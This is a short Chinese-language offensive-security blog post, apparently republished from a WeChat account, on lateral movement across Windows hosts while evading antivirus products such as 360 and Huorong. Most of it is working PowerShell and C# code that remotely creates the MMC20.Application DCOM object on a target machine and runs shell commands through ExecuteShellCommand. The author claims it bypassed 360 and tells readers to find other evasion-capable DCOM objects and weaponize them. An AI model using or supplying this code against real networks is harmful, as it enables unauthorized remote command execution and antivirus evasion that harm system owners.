咕咕咕了好久,本来想跟风蹭一波打印机漏洞的热度。结果正好赶上hw,没蹭上。
关闭杀软的文章,写了一半,被叫停了,无奈,只能从头开始。正好朋友提到了标题中的问题,简单的来聊一聊。
横向移动的方式有很多,但目前大多数杀软均对此有所拦截。下图为火绒的设置图
360就更别提了,早就有了该安全防护。而本人比较热衷于DCOM的使用,常见的DCOM利用如下:
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","10.0.0.2"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:fromdcom.txt","7")
但也是会被拦截,但并非所有的DCOM都在杀软的防护范围之内。下面是测试视频:
成功绕过360执行了程序(火绒无效)。
PS调用DCOM方法如下:
$Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.Document.ActiveView.ExecuteShellCommand($Command,$null,$null,"7")
C#方式如下:
Type ComType = Type.GetTypeFromProgID("MMC20.Application", ComputerName);
object RemoteComObject = Activator.CreateInstance(ComType);
object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null);
object ActiveView = Document.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, Document, null);
ActiveView.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, ActiveView, new object[] { Command , null , Parameters , 7 });
根据自身情况,查找可绕过杀软的DCOM,并武器化即可。
参考文章:
https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model
最终代码已上传至星球
本文始发于微信公众号(鸿鹄实验室):过杀软横向移动
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论